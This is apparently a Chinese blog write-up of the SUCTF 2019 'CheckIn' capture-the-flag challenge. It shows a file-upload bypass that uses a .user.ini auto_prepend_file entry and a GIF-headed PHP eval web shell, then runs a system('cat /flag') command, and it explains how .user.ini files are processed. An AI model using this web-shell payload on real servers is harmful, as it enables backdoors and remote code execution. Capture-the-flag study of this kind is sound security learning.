[SUCTF 2019]CheckIn

[SUCTF 2019]CheckIn

Step

发现上传文件试验后,

Your dir uploads/40faad96d40fbac7603474024cbb933a
Your files :
array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) ".user.ini" [3]=> string(5) "1.jpg" [4]=> string(9) "index.php" }

存在php执行文件,尝试利用.user.ini

于是上传.user.ini,内容:

GIF89a
auto_prepend_file=1.jpg

继续上传文件名为1.jpg的文件,内容:

GIF89a
<script language='php'>@eval($_GET['cmd'])</script>

(因为不方便用蚁剑)

url/uploads/40faad96d40fbac7603474024cbb933a/index.php?cmd=system("cat /flag");

得到flag

.user.ini

php.ini 文件是全局配置文件,影响整个服务器,而.htaccess 和 .user.ini 是目录的配置文件,是用户自定义的配置php.ini,可以构造后门。

.xxxx.ini 文件是配置当前目录以及当前子目录的规则配置的文件,文件的中的配置会覆盖掉当前php.ini中的规则,是当前用户的配置文件 # 除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。 # 如果是 Apache 服务器,则可以利用 .htaccess 文件,作用和 .INI 一样,只是风格上有些不一样

在 .user.ini 文件中配置

auto_prepend_file=test.png

上传1.jpg一句话木马

上传的目录中存在php执行文件,上传的一句话木马文件以及.user.ini 配置文件

当访问该目录下的php文件执行文件时,首先会调用.user.ini 使1.jpg包含到php文件内,然后执行php文件.

posted @ 2024-07-29 15:57  8o1er9t  阅读(12)  评论(0编辑  收藏  举报